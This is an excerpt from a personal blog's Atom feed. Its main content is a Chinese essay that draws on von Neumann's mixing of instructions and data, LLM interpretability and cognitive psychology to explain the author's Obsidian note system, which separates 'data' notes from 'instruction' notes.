    <summary>
      <![CDATA[<h2 id="一、背景と動機"><a href="#一、背景と動機" class="headerlink" title="一、背景と動機"></a>一、背景と動機</h2><p>私のブログ（misaka10013.cn）は開設以来ずっと Hexo 4.2.0 + NexT 6.0.0 で、6年間フレームワークに触っていなかった。最近新しい機能を追加したりページを調整しようと、AI に作業を依頼するたびに「バージョンが古すぎる」と言われた——依存関係が時代遅れ、プラグインが非互換、設定構文も変わっている。そろそろ上げるべきだと分かっていながら、ずっと後回しにしていた。</p>
<p>最近、主にいくつか新しいアイデアがある：</p>]]>
    </summary>
    <title>Hexoアップグレード記：6年の歳月と多言語対応</title>
    <updated>2026-09-15T13:08:39.430Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="生活随笔" scheme="http://misaka10013.cn/categories/%E7%94%9F%E6%B4%BB%E9%9A%8F%E7%AC%94/"/>
    <category term="计算机原理" scheme="http://misaka10013.cn/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%8E%9F%E7%90%86/"/>
    <category term="认知体系" scheme="http://misaka10013.cn/tags/%E8%AE%A4%E7%9F%A5%E4%BD%93%E7%B3%BB/"/>
    <category term="知识管理" scheme="http://misaka10013.cn/tags/%E7%9F%A5%E8%AF%86%E7%AE%A1%E7%90%86/"/>
    <content>
      <![CDATA[<h1 id="指令即数据：从冯·诺依曼到我的Obsidian认知体系"><a href="#指令即数据：从冯·诺依曼到我的Obsidian认知体系" class="headerlink" title="指令即数据：从冯·诺依曼到我的Obsidian认知体系"></a>指令即数据：从冯·诺依曼到我的Obsidian认知体系</h1><h2 id="一、起因"><a href="#一、起因" class="headerlink" title="一、起因"></a>一、起因</h2><p>这两天我读了一篇知乎回答——《能从底层解释一下计算机的原理吗？》（Soulflare，见文末参考资料<sup id="fnref:1"><a href="#fn:1" rel="footnote">[1]</a></sup>），作者从沙子（硅）讲到晶体管，从晶体管讲到逻辑门，从逻辑门讲到加法器，再讲到内存、控制器、取指执行循环。整条链路清晰得像一条公路，没有一步用到魔法。</p><p>里面大部分内容是我大概了解的，但有一个细节，让御坂停下来深思。文章里一个看似轻描淡写的段落：</p><blockquote><p>你有没有想过，”指令”和”数据”长得一模一样？在内存里，指令是一串0和1，数据也是一串0和1。它们之间没有任何物理区别。同一个格子里存的01011001，你告诉CPU”这是指令”，它就去执行；你告诉它”这是数字”，它就拿去算加法。</p></blockquote><p>指令和数据不分离。</p><p>我以前知道这点，但从来没真正”理解”过这一条。它只是一个知识点，但我好奇之下，又和元宝AI来回讨论了几个回合，这个事实才真正在脑子里炸开——</p><p>（不是”知道了”，是”理解了”。这两者之间隔着一整个认知范式切换的距离。）</p><p>而这个炸开的瞬间，我开始不受控制地往一个奇怪的方向滑去：从计算机架构，滑到AI，滑到人脑，最后滑到了自己的Obsidian笔记体系。</p><p>这篇文章就是这次滑行的轨迹记录。</p><h2 id="二、计算机的秘密：不分离，所以万能"><a href="#二、计算机的秘密：不分离，所以万能" class="headerlink" title="二、计算机的秘密：不分离，所以万能"></a>二、计算机的秘密：不分离，所以万能</h2><p>先把计算机这边说清楚。</p><p>1945年，冯·诺依曼在EDVAC报告草案<sup id="fnref:2"><a href="#fn:2" rel="footnote">[2]</a></sup>里确立了后来统治计算机八十年的架构：运算器、控制器、存储器、输入、输出五大部分，其中最核心的设计决策，是<strong>把指令和数据放在同一个内存空间里，不做物理区分</strong>。这在当时看起来像是个工程上的偷懒——省一条总线，省一套寻址逻辑。但这个”偷懒”的后果是革命性的。</p><p>因为指令和数据不分家，所以<strong>程序可以修改程序自己</strong>。</p><p>一段指令可以生成另一段指令，写进内存，然后CPU跑过去执行刚刚被生成的新指令。程序不再是一个死的剧本，它可以在运行的过程中改写自己的剧本。</p><p>这个能力看起来简单，但它是整个软件文明的基石：</p><ul><li>能写一个程序，功能是”读入人类写的文字，翻译成CPU能执行的0和1”——这就是<strong>编译器</strong>。</li><li>能写一个程序，功能是”假装自己是另一台计算机”——这就是<strong>虚拟机</strong>。</li><li>能写一个程序，功能是”管理所有其他程序，决定谁先跑谁后跑”——这就是<strong>操作系统</strong>。</li><li>能写一个程序，功能是”根据输入的数据，自动调整自己的参数，让输出越来越接近正确答案”——这就是<strong>机器学习</strong>。</li></ul><p>全部来自同一个事实：指令和数据不分家。</p><p>知乎回答的原文里有一句话我赶紧可以的描述：<strong>“它只会无脑地执行下一条指令，但这个’什么都不会’恰好是万能的。”</strong></p><p>计算机什么都不会，所以什么都能做。它不被任何特定用途锁死，因为它的”指令”本身是可以被替换的data。换一串0和1，同一台机器就变成了完全不同的东西。硬件没变过一个晶体管，变的只是内存里的数据。</p><p>这就是”不分离”的力量：<strong>灵活性、通用性、自指能力</strong>。代价是——我们永远无法在物理层面区分”这是在执行”还是”这是在被处理”。一切都是0和1的洪流，指令和数据在同一个河床里奔涌，无法分辨哪一滴是水，哪一滴是驱动水流的重力。</p><p>（顺带一提，与冯·诺依曼架构相反的，还有一个哈佛架构：指令和数据存放在不同的存储空间、走不同的总线。它的指令不能被当作数据随意覆写，行为更稳定可控，代价是灵活性下降。应用于并行访问数据和指令、或指令区不易被程序改写的稳定系统场景。记住这个设定，第五节会用到它。）</p><h2 id="三、AI：不分离的极致形态，以及一个前沿痛点"><a href="#三、AI：不分离的极致形态，以及一个前沿痛点" class="headerlink" title="三、AI：不分离的极致形态，以及一个前沿痛点"></a>三、AI：不分离的极致形态，以及一个前沿痛点</h2><p>如果说冯·诺依曼架构让指令和数据在内存里混居，那大模型把它们混溶到了一个更彻底的境界。</p><p>传统编程里，虽然指令和数据共享内存，但至少还有代码段和数据段的逻辑划分。但神经网络连这点界限都抹掉了。</p><p>一个大模型里有什么？</p><p>有权重（weights），几千亿个浮点数。</p><p>这些权重是数据吗？当然是——它们是从训练数据里学出来的参数，存在显存里，可以被保存、加载、复制、微调。</p><p>但这些权重也是指令吗？**也是。**它们完全决定了模型的行为——给定同样的输入，权重不同，输出就完全不同。每一层权重的矩阵乘法，就是在”指挥”信号如何流转、如何变换、如何最终映射到一个概率分布上。这些权重就是模型的”程序”，只不过这个程序不是人写的，是从数据里涌现出来的。</p><p>（我们调用大模型的时候，本质上是在执行一段几千亿参数的”程序”。只不过这段程序不是任何人类工程师写的，而是用几百TB的文本数据，通过梯度下降，一点一点磨出来的。）</p><p>更诡异的是涌现。当参数量突破某个临界点，模型开始展现出从未被明确训练过的能力。我们只让它预测下一个词，但它突然会做数学题了，会写代码了，会推理了。</p><p>御坂和元宝AI讨论到这里的时候，碰到了一个有意思的事实：<strong>“大模型里的指令和数据是否分离”，恰好是当前AI研究的前沿痛点。</strong></p><p>可解释性研究（mechanistic interpretability）<sup id="fnref:3"><a href="#fn:3" rel="footnote">[3]</a></sup>的核心难题之一，就是没人能说清楚权重里哪些部分编码的是”知识”（数据：巴黎是法国首都），哪些部分编码的是”行为规则”（指令：回答要礼貌、推理要分步）。Anthropic提出的”叠加假说”（superposition hypothesis）<sup id="fnref:4"><a href="#fn:4" rel="footnote">[4]</a></sup>甚至认为，神经网络会把大量概念压缩叠加在同一组参数里，指令与数据的边界在物理上根本不存在。</p><p>更直接的证据来自知识编辑方向：ROME<sup id="fnref:5"><a href="#fn:5" rel="footnote">[5]</a></sup>、MEMIT<sup id="fnref:6"><a href="#fn:6" rel="footnote">[6]</a></sup>这类技术试图只修改模型里的某条”事实”而不影响其他能力，结果发现改一个事实常常引发连锁反应——行为跟着变、无关能力受损。为什么？因为事实（数据）和行为（指令）叠加在同一片权重里，牵一发而动全身。</p><p>也就是说：**冯·诺依曼在1945年做的那个决定，八十年后以更彻底的形式复现在了大模型里，并且成了这个领域最难啃的骨头之一。**我们依然不知道怎么把”模型知道的”和”模型会做的”干净地拆开。</p><p>从冯·诺依曼到深度学习，”不分离”的程度在一步步加深：</p><ul><li>冯·诺依曼：指令和数据共享内存，但逻辑上还可区分</li><li>元编程：代码可以生成代码，但生成规则是人定义的</li><li>神经网络：权重既是数据又是指令，且这个”指令”不是任何人定义的，是从数据中涌现的</li></ul><p>每一步，”谁是指令、谁是数据”的界限都更加模糊。每一步，系统的通用性和不可解释性都同时增加。</p><p>（这恰恰是灵活性和可控性的经典trade-off问题。越灵活越不可控，越不可控越强大。计算机科学里到处都是这个味道。）</p><h2 id="四、人：比冯·诺依曼更彻底的不分离"><a href="#四、人：比冯·诺依曼更彻底的不分离" class="headerlink" title="四、人：比冯·诺依曼更彻底的不分离"></a>四、人：比冯·诺依曼更彻底的不分离</h2><p>然后想着想着，我的脑子就开始往歪处想了。</p><p>计算机是指令和数据不分离。那人呢？</p><p>人的大脑里，”指令”是什么？是信念、价值观、思维模式、行为习惯、条件反射——那些决定我们”怎么想”和”怎么做”的东西。</p><p>“数据”是什么？是我们接收到的信息、读过的书、经历过的事、记住的知识——那些被我们”处理”的东西。</p><p>这两者在人脑里分离吗？</p><p><strong>完全不分离。</strong></p><p>而且比冯·诺依曼架构还不分离。计算机至少还有个指令寄存器和数据寄存器的功能区分，人脑连这个都没有。我们大脑里的神经元网络，存储记忆和执行思考用的是同一套物理基底——同一群神经元，同一套突触连接。</p><p>这意味着一个极其关键的事实：<strong>我们接收到的信息（data），会直接变成我们的思维模式（instruction）。</strong></p><p>读了一篇煽动性的文章，情绪反应模式就被微调了一点点。刷了三小时短视频，注意力阈值就被重塑了一点点。和某个人长期相处，说话方式就被偏移了一点点。</p><p>每一次信息输入，都是一次人脑权重参数的更新。</p><p>而且我们完全意识不到这个过程在发生。就像神经网络在训练时，每个batch的梯度更新都是微小到不可察觉的，但几万个batch之后，模型的行为已经面目全非。人也是一样——单次的信息输入微不足道，但日积月累，我们的”指令集”已经被改写得连自己都不认识了。</p><p>（我想到这里，马上有了些警惕。因为这恰恰是现代信息环境最可怕的地方——不是信息太多了，而是每一条信息都在无声地修改我们的”底层程序”，而我们对此毫无知觉。）</p><p>冯·诺依曼架构的”不分离”是一个精心选择的工程决策，它带来的是万能性。但人脑的”不分离”不是任何人选择的，它是进化的默认设置。它带来的，是极高的适应性和灵活性——人可以学习任何技能、适应任何环境、被任何文化塑造。</p><p>但代价是：<strong>我们太容易被改写了。</strong></p><p>广告不只是传递信息，它在修改欲望函数。算法推荐不只是帮我们筛选内容，它在修改注意力分配策略。社交媒体上的观点不只是数据输入，它在修改评判标准。</p><p>它们都以”数据”的身份进入大脑，然后在我不注意的时候，悄悄变成了”指令”。</p><p>我们以为是自己在用手机，其实是手机在用梯度下降训练我们。</p><h2 id="五、认知的哈佛架构：强行分离"><a href="#五、认知的哈佛架构：强行分离" class="headerlink" title="五、认知的哈佛架构：强行分离"></a>五、认知的哈佛架构：强行分离</h2><p>那怎么办？人脑的物理架构改不了，总不能给自己做个脑手术把记忆区和逻辑区分开。</p><p>但可以在<strong>认知层面</strong>做一件计算机架构里做过的事情。</p><p>正如第二节末尾提到的哈佛架构。指令和数据存储在不同的物理空间里，走不同的总线，有不同的访问机制。指令不能被当作数据随意覆写，系统行为稳定可控。</p><p>在认知层面，我反应过来，要做的关键事情，就是给自己建一个”认知哈佛架构”：<strong>在信息和信念之间，强行插一块隔离板。</strong></p><p><strong>信息层（数据区）</strong>：这是”我接收到的”和”我知道的”。包括新闻、文章、书籍、教程、数据、他人的观点、经验事实。这些是data，它们进入认知系统后，被归类、索引、存储，但<strong>不会被自动提升为信念或行为准则</strong>。</p><p><strong>信念层（指令区）</strong>：这是”我选择相信的”和”我决定按其行事的”。包括核心价值观、思维模型、决策原则、行为准则。这些是instruction，它们驱动思考和行动。<strong>它们只能通过一个显式的、有意识的”确认-写入”过程来更新</strong>，不能被信息层的data自动覆写。</p><p>关键在于中间的隔离机制：信息从数据区进入指令区，必须经过一个<strong>显式的升级仪式</strong>。不是被动地被影响，而是主动、谨慎的审阅和分析并最后决定”这条信息我要不要把它升格为信念”。</p><p>就像哈佛架构里数据不能直接被执行为指令——我们可以在数据区里存任何东西，但CPU不会去执行它们。只有通过一个显式的跨区写入操作，数据才能变成可执行的指令。</p><p>（说白了就是：我们可以看任何东西，但看完了不代表要信它，要抱有质疑的态度。得自己主动重视的审阅并决定”这个我要信”，它才能进入指令集。）</p><p>理念很清楚，但理念不落地就是空话。非常巧合的是，很早之前，我已经在Obsidian上有一套实践中的具体架构，下一节展开。</p><h2 id="六、我的Obsidian：认知哈佛架构的完整设计"><a href="#六、我的Obsidian：认知哈佛架构的完整设计" class="headerlink" title="六、我的Obsidian：认知哈佛架构的完整设计"></a>六、我的Obsidian：认知哈佛架构的完整设计</h2><p>在大概近七八年前，我在长期使用印象笔记的过程中，就开始不自觉的对信息进行分类，并在最近两三年迁移笔记知识到Obsidian的过程中，逐步建立起来一套目录结构。<code>1个人文件</code>、<code>2资讯收集</code>、<code>3知识整理</code>、<code>4信息输出</code>、<code>模板库</code>、<code>待处理</code>。<strong>这套结构是在最近读文章理解”指令数据分离”这个意识形成之前建立的</strong>，当时只是凭直觉觉得信息要分区管理。现在用”认知哈佛架构”的视角回头审视，会发现它已经无意识地长成了分离的样子，但也确实有明显的优化空间。这一节就把现状、映射关系、和重构方案描述一下。</p><h3 id="6-1-现有架构的映射"><a href="#6-1-现有架构的映射" class="headerlink" title="6.1 现有架构的映射"></a>6.1 现有架构的映射</h3><p>用今天我们关于”指令区&#x2F;数据区”的视角来看御坂现有的目录，映射关系是这样的：</p><table><thead><tr><th>目录</th><th>认知角色</th><th>内容性质</th></tr></thead><tbody><tr><td><code>1个人文件/01自我</code></td><td><strong>指令区·核心</strong></td><td>里面有原则清单、人生警示语录、禁止令牌与绿色许可令牌、学习论、御坂心论等等笔记——记录着纯粹的行为准则和思维模式</td></tr><tr><td><code>1个人文件/02领域和能力</code></td><td><strong>指令区·领域</strong></td><td>财务、外语、技术等各领域的方法论，包括各种提示词工程、财务投资原则等——“在这个领域怎么做事”</td></tr><tr><td><code>1个人文件/05技能目录</code></td><td><strong>指令区·元层</strong></td><td>技能追踪体系——关于”如何管理我的能力”的指令</td></tr><tr><td><code>2资讯收集</code></td><td><strong>数据区·原始层</strong></td><td>新闻简报、AI生成的生活异见、收集的文章——未经加工的输入</td></tr><tr><td><code>3知识整理</code></td><td><strong>数据区·加工层</strong></td><td>读书笔记、专题分析、复盘——处理过的知识</td></tr><tr><td><code>1个人文件/03临时项目和想法</code></td><td><strong>混合区（问题所在）</strong></td><td>项目记录（数据）和方法论雏形（指令候选）混在一起</td></tr><tr><td><code>1个人文件/04社交相关</code></td><td><strong>混合区（问题所在）</strong></td><td>身份认知（指令）和他人信息（数据）混在一起</td></tr><tr><td><code>4信息输出</code></td><td><strong>输出区</strong></td><td>博客、公众号草稿——执行指令、处理数据之后的产物</td></tr><tr><td><code>模板库</code></td><td><strong>总线协议</strong></td><td>定义指令和数据各自的”格式标准”</td></tr><tr><td><code>待处理</code></td><td><strong>闲置</strong></td><td>目前只有一个欢迎文件，形同虚设</td></tr></tbody></table><p>从我们今天新的想法视角来看，01自我、02领域能力、05技能目录这些”指令”确实和数据区（2资讯收集、3知识整理）天然分开了——这是长期对笔记信息分类中直觉做对的部分。但在部分的目录，仍存在着指令和数据共同混居；同时，对于指令和数据并没有分析和区别的机制；对于记录下来的指令是否纳入指令区，目前没有明确且严格的机制，大部分从外部读到的觉得耍激灵、一时间有趣的信息语句，毫无审阅的进入了指令区保存，并可能成为未来后期思考、决策和行为时的不合理支撑依据。</p><h3 id="6-2-重构方案：三区一栈一库"><a href="#6-2-重构方案：三区一栈一库" class="headerlink" title="6.2 重构方案：三区一栈一库"></a>6.2 重构方案：三区一栈一库</h3><p>参考计算机的架构分层（以及git的工作流），我觉得可以把信息的处理化为**”三区一栈一库”**这样一个架构：</p><p><img src="https://vdio-1252926453.cos.ap-chengdu.myqcloud.com/picgo/%E4%B8%89%E5%8C%BA%E4%B8%80%E6%A0%88.png" alt="三区一栈一库"></p><p>信息从外部进入，先落在收件箱；按判定清单分流——事实和观点进数据区，行为准则类内容先进<strong>指令暂存区</strong>；暂存区里的东西经过”AI预审→人工确认→第一人称改写”三步，才能正式写入指令区；指令区的指令驱动输出区的行动，输出过程可以回头引用数据区的内容作支撑。</p><p><strong>指令暂存区</strong>是这次重构的核心新增，也是御坂和元宝AI讨论时它给出的建议：对于外部那些不好分辨是指令还是数据的信息，不要强行立刻归类，先放进暂存区隔离存放；由AI帮忙做初步分辨（哪些部分是事实陈述、哪些部分是行为建议），再由御坂确认是否需要内化，最后从原始信息中抽离出适合自己的指令，用第一人称改写后写入指令区。</p><p>这个流程对程序员来说其实特别眼熟——<strong>类似于git的工作流</strong>：</p><table><thead><tr><th>git</th><th>认知架构</th></tr></thead><tbody><tr><td>工作区（改了但没管）</td><td>收件箱里未经处理的信息</td></tr><tr><td><code>git add</code> → 暂存区（staging area）</td><td>候选指令进入指令暂存区</td></tr><tr><td><code>git diff --staged</code> 审查暂存内容</td><td>AI预审 + 人工确认</td></tr><tr><td><code>git commit</code> 提交</td><td>显式写入指令区</td></tr><tr><td>commit message</td><td>写入时留下的”为什么内化这条指令”</td></tr><tr><td><code>git log</code> 历史</td><td>指令区的修改履历</td></tr></tbody></table><p><img src="https://vdio-1252926453.cos.ap-chengdu.myqcloud.com/picgo/%E8%AE%A4%E7%9F%A5%E7%B1%BB%E6%AF%94git%E6%8F%90%E4%BA%A4(1).png" alt="类比git工作流"></p><p>git设计暂存区的原因和认知架构设计暂存区的原因一模一样：**直接commit太危险，需要一个缓冲层让变化可以被审查后再正式生效。**中文里git的staging area恰好就叫”暂存区”，这个类比严丝合缝。</p><h3 id="6-3-归类判定清单：六问"><a href="#6-3-归类判定清单：六问" class="headerlink" title="6.3 归类判定清单：六问"></a>6.3 归类判定清单：六问</h3><p>信息进收件箱后，依次过这六个问题：</p><ol><li><strong>它是外部世界的事实描述吗？</strong>（新闻、数据、事件）→ 数据区·原始层（2资讯收集）</li><li><strong>它是他人的观点、经验或知识吗？</strong>→ 数据区·加工层（3知识整理），标记来源和可信度</li><li><strong>它包含”应该怎么做”的方法论或行为准则吗？</strong>→ 进入指令判定流程（继续第4-6问）</li><li><strong>它和我指令区的现有指令冲突吗？</strong>→ 冲突则暂存并显式标注冲突点，优先处理</li><li><strong>我经过思考，愿意让它改变我的思维方式或行为模式吗？</strong>→ 不愿意：留在数据区（标记”含方法论，暂不内化”）；愿意或不确定：进指令暂存区</li><li><strong>暂存区处理三步</strong>：AI预审（分辨事实部分与建议部分）→ 我确认（要不要内化）→ 第一人称改写提炼（从”作者说应该”变成”我决定”）→ 写入指令区，原信息留在数据区作为出处</li></ol><p>其中第5问是整份清单的灵魂：**它把”这条信息好不好”和”我要不要被它改变”拆成了两个独立问题。**一条信息可以写得非常好、逻辑严密、洞见深刻——但内化它是我的决策，不是它的权利。数据区里可以存放一万条优秀的方法论，但只有经过显式确认的那几十条能进入指令区。</p><h3 id="6-4-对现有目录的具体改造"><a href="#6-4-对现有目录的具体改造" class="headerlink" title="6.4 对现有目录的具体改造"></a>6.4 对现有目录的具体改造</h3><p>以我目前已有的信息处理框架来看，要做改变的事情其实不多——现有架构已经完成70%：</p><ol><li><strong>激活<code>待处理</code>为标准收件箱</strong>：所有外部信息先进这里，等待着过六问清单分流</li><li><strong>新增指令暂存区</strong>：在<code>1个人文件</code>下新建<code>00指令暂存</code>，配一个”候选指令”模板（含：原始信息出处、AI预审意见、我的确认记录、第一人称改写稿、写入目标位置）</li><li><strong>拆分<code>03临时项目和想法</code></strong>：项目记录（如”扫描书库””文档电子化”）归入数据区或输出区；方法论雏形（如”学习论””计策记录”）作为指令候选进暂存区走确认流程</li><li><strong>拆分<code>04社交相关</code></strong>：身份认知类（怎么介绍自己、社交原则）归指令区；他人信息类（关于具体的人的记录）归数据区</li><li><strong>02领域能力内部标注</strong>：像<code>022财务和投资</code>这种目录里市场知识（数据）和投资原则（指令）混在一起——每条笔记加个<code>类型: 指令/数据</code>的YAML属性，Dataview就能直接聚合出”我的全部投资指令”</li><li><strong>指令区加复审机制</strong>：定期过一遍指令区，问每条指令”过去三个月你还在执行吗？还需要吗？”——像代码依赖审查一样审查自己的思维</li></ol><p>（方案看着条目多，但核心增量就两个：一个暂存区，一份判定清单。其余都是对现有结构的确认和微调。）</p><h2 id="七、分离的好处"><a href="#七、分离的好处" class="headerlink" title="七、分离的好处"></a>七、分离的好处</h2><p>下面说说推行这样机制的优点。其实本身这套机制是在过去多年中我个人积累的一种思维管理方法论，这套方案让我个人觉得帮我维护了清晰的思想、稳定的情绪以及明确的行动执行能力，并对外界信息具有明显的抗影响能力，和元宝AI讨论清理后，我进一步完善了下。这里把它们整理成六条，每条也配合上AI提供的依据——不只是个人感受，也包括心理学里能对上号的研究。</p><h3 id="7-1-思想更清晰：知道自己知道什么、相信什么"><a href="#7-1-思想更清晰：知道自己知道什么、相信什么" class="headerlink" title="7.1 思想更清晰：知道自己知道什么、相信什么"></a>7.1 思想更清晰：知道自己知道什么、相信什么</h3><p>当指令和数据混在一起的时候，我们分不清”这是我认为的”和”这是我看到的”。一个观点从网上看来的，记住了，慢慢就变成了”我的观点”——但中间从未经历过”要不要信它”的决策过程。脑子里充满了来历不明的信念，它们互相矛盾、互相打架，但我们甚至不知道它们在那儿。</p><p>心理学里有个概念叫<strong>认知失调</strong>（cognitive dissonance，Festinger 1957<sup id="fnref:7"><a href="#fn:7" rel="footnote">[7]</a></sup>）：当一个人同时持有互相矛盾的信念时，会产生心理不适。混溶状态的脑子就是一个失调的温床——因为那些被动写入的”指令”之间根本没有做过一致性检查。</p><p>强分离之后，我们随时可以回答一个问题：**”这是我知道的，还是我相信的？”**知道的归数据区，相信的归指令区。信念清单是明确的、有限的、可枚举的——不是一锅不知道什么时候熬出来的粥。指令区里的指令经过显式确认才写入，写入时天然经过了一致性审视，失调的源头被掐掉了一大块。</p><p>（INTJ的终极需求：知道自己当前在执行什么程序。）</p><h3 id="7-2-行动更明确：稳定的驱动源"><a href="#7-2-行动更明确：稳定的驱动源" class="headerlink" title="7.2 行动更明确：稳定的驱动源"></a>7.2 行动更明确：稳定的驱动源</h3><p>混溶状态下，行为的驱动信号来自所有方向——昨天看的文章、刚才刷的推送、同事的一句话、三年前读的一本书。它们都在”内存”里，都在争抢”执行时间片”。今天决定做这个，明天决定做那个，不是因为指令变了，而是因为不同的数据在轮流占据注意力。</p><p>目标设定理论（goal-setting theory，Locke &amp; Latham<sup id="fnref:8"><a href="#fn:8" rel="footnote">[8]</a></sup>）的大量研究表明：明确且稳定的目标比模糊漂移的目标更能带来高绩效。而目标的稳定性恰恰依赖指令区的稳定——如果每次信息输入都能扰动目标，行为就成了布朗运动。</p><p>强分离之后，行为的驱动信号主要来自指令区。数据区提供输入和参考，但最终决策走的是指令区的逻辑。今天读了一篇”35岁被裁”的文章不会焦虑得改方向，明天看到一个”副业月入三万”的视频也不会兴奋得改计划——那些内容在数据区里好好待着，可以被查阅、分析，但它们不直接驱动行为。</p><h3 id="7-3-不容易被外部影响：阻断”数据伪装成指令”的攻击"><a href="#7-3-不容易被外部影响：阻断”数据伪装成指令”的攻击" class="headerlink" title="7.3 不容易被外部影响：阻断”数据伪装成指令”的攻击"></a>7.3 不容易被外部影响：阻断”数据伪装成指令”的攻击</h3><p>这是最核心的一条，值得用计算机安全的方式来讲。</p><p>在冯·诺依曼架构下，一段恶意数据可以伪装成指令被执行——这就是缓冲区溢出攻击的原理（经典的”Smashing the Stack”<sup id="fnref:9"><a href="#fn:9" rel="footnote">[9]</a></sup>）。攻击者往数据区写入一串精心构造的0和1，然后让CPU把这串数据当作指令执行。数据越界变成指令，系统就被劫持了。</p><p>人脑在默认状态下，对这种”数据伪装成指令”的攻击<strong>几乎没有防御</strong>。</p><p>一则广告以data的身份进入大脑，但它携带的不是一个产品信息，而是一个情绪指令——“现在应该感到焦虑”。没有隔离机制，这个指令就直接执行了。我们开始焦虑，但以为是自己在焦虑，不知道这是被注入的。</p><p>心理学里有两套理论能描述这个过程。<strong>精细加工可能性模型</strong>（ELM，Petty &amp; Cacioppo<sup id="fnref:10"><a href="#fn:10" rel="footnote">[10]</a></sup>）指出：人在”中心路径”（仔细思考论据）和”边缘路径”（被情绪、权威、视觉线索带着走）之间摇摆，而现代信息设计专攻边缘路径。<strong>接种理论</strong>（inoculation theory，McGuire<sup id="fnref:11"><a href="#fn:11" rel="footnote">[11]</a></sup>）则证明：事先接触过弱化版反驳论点的人，后续面对强说服时抵抗力显著更强——换句话说，”知道自己可能被影响”本身就是一种防御。</p><p>认知哈佛架构就是把这个防御机制工程化：**不是屏蔽信息，而是阻断信息到信念的自动升级通道。**广告说”应该焦虑”——这条信息进入数据区，被标记为”某广告的营销信息”。我们可以分析它的修辞手法、理解它的目标受众、评估它的信息含量，但它不会自动变成信念。要变成信念，得过一道显式的关卡：”我，要不要把’我应该焦虑’写入指令集？”正常情况下答案是”否”。那它就永远待在数据区里，是一条被分析过的信息，而不是一条被执行的指令。</p><h3 id="7-4-元认知能力本身在提升"><a href="#7-4-元认知能力本身在提升" class="headerlink" title="7.4 元认知能力本身在提升"></a>7.4 元认知能力本身在提升</h3><p>元认知（metacognition，Flavell<sup id="fnref:12"><a href="#fn:12" rel="footnote">[12]</a></sup>）指”对认知的认知”——监控和调节自己思维过程的能力。大量研究表明元认知能力和学习效果、决策质量正相关。</p><p>关键在于：**维护分离架构这个动作本身，就是持续的元认知训练。**每次把信息过六问清单，都是在问自己”我在想什么、我为什么这么想”；每次复审指令区，都是在观察自己的思维过程。这和健身一个道理——分离架构是认知的杠铃，练的过程比练的结果更值钱。御坂坚持这套体系两三年，回头看最明显的变化不是笔记变整齐了，而是”觉察到自己正在被影响”的反应速度变快了。</p><h3 id="7-5-身份的连续性：不随信息环境漂移的自我"><a href="#7-5-身份的连续性：不随信息环境漂移的自我" class="headerlink" title="7.5 身份的连续性：不随信息环境漂移的自我"></a>7.5 身份的连续性：不随信息环境漂移的自我</h3><p>发展心理学里，Erikson的自我同一性（identity）理论<sup id="fnref:13"><a href="#fn:13" rel="footnote">[13]</a></sup>讲的是：一个稳定的”我是谁”的叙事，是心理健康的基础设施。同一性扩散（identity diffusion）的人，自我概念随环境剧烈摆动。</p><p>混溶状态下，自我概念是被动的信息沉淀物——算法推什么、圈子聊什么，”我”就往哪个方向偏移。强分离之后，”我是谁”由指令区显式定义，数据区的信息洪流冲刷的是数据区，不是自我定义。外部环境剧变时，人有一个不随波逐流的锚点。</p><h3 id="7-6-知识的复利：结构化让知识可累积"><a href="#7-6-知识的复利：结构化让知识可累积" class="headerlink" title="7.6 知识的复利：结构化让知识可累积"></a>7.6 知识的复利：结构化让知识可累积</h3><p>野中郁次郎的知识创造理论（SECI模型<sup id="fnref:14"><a href="#fn:14" rel="footnote">[14]</a></sup>）里有个核心论点：知识要产生价值，必须完成从隐性到显性、从个人到体系的转化。散落的知识点无法复利，结构化的知识才能——因为结构化之后，新知识有地方放，旧知识能被找到，两者之间能建立连接。</p><p>数据区的taxonomy（领域分类）、双链（跨区引用）、MOC索引（聚合视图）本质上都是在做同一件事：**给知识一个可累积的地址空间。**第二条相关知识进来时，不是随机漂在记忆里，而是挂到已有的结构上。让知识不再是”看过很多”的一团模糊，而是”知道它们各自在哪、互相什么关系”的一张地图。</p><h2 id="八、分离的代价：诚实的另一面"><a href="#八、分离的代价：诚实的另一面" class="headerlink" title="八、分离的代价：诚实的另一面"></a>八、分离的代价：诚实的另一面</h2><p>这样强化分离，有什么代价吗？这个问题其实我很早就有感受。当然也可能是本身性格带给我的感受，不一定是这套机制带给我的感觉。</p><h3 id="8-1-灵活性损失：不能”自然而然”地被改变"><a href="#8-1-灵活性损失：不能”自然而然”地被改变" class="headerlink" title="8.1 灵活性损失：不能”自然而然”地被改变"></a>8.1 灵活性损失：不能”自然而然”地被改变</h3><p>哈佛架构牺牲了运行时自修改能力，认知哈佛架构也一样。有时候被一个好故事感染、被一首歌打动、被一个人的经历改变看法，这些”不分离”的体验有它自己的价值。强分离会让这个过程变得更慢、更有意识——我们不再轻易被”打动”了。</p><p>神经科学家Damasio的躯体标记假说<sup id="fnref:15"><a href="#fn:15" rel="footnote">[15]</a></sup>甚至认为：情绪不是理性的噪音，而是决策的必要组件——很多正确的快速判断来自情绪的信号。全盘压制”被影响”，等于砍掉了一条重要的信息处理通道。</p><p>御坂的应对：这不是二选一。被一首歌打动（数据区事件，引发情绪反应）和被一篇软文改变消费决策（数据伪装成指令执行）是两回事。分离架构防的是后者，不防前者。情绪可以自由流动，信念必须显式写入。</p><h3 id="8-2-持续的元认知开销：这套系统本身要花钱"><a href="#8-2-持续的元认知开销：这套系统本身要花钱" class="headerlink" title="8.2 持续的元认知开销：这套系统本身要花钱"></a>8.2 持续的元认知开销：这套系统本身要花钱</h3><p>认知负荷理论（cognitive load theory，Sweller<sup id="fnref:16"><a href="#fn:16" rel="footnote">[16]</a></sup>）提醒我们：工作记忆的容量非常有限，任何额外的管理系统都会挤占它。维护指令区和数据区的边界、执行升级仪式、定期审查指令集——这些全是开销。就像操作系统需要消耗资源来管理内存隔离，认知隔离也需要消耗注意力。</p><p>这是真实的成本，而且无法消除，只能摊薄。对于这方面，我以往经常需要独处、冥想或者在工作中摸鱼，腾出时间专门用来自我思想的梳理。对于注意力的开销是明显的。大量的信息也带给我很多负担，直到最近一年在AI的帮助下，我开始不断建立AI协同的记忆、判断体系，我开始觉得这套机制相对比较可靠，负担可以接受了。</p><h3 id="8-3-确认偏误的固化风险：指令区可能变成回音室"><a href="#8-3-确认偏误的固化风险：指令区可能变成回音室" class="headerlink" title="8.3 确认偏误的固化风险：指令区可能变成回音室"></a>8.3 确认偏误的固化风险：指令区可能变成回音室</h3><p>这一条最隐蔽。如果指令区更新得太慢、太严格，我们会只愿意接收那些符合现有指令的数据——<strong>确认偏误</strong>（confirmation 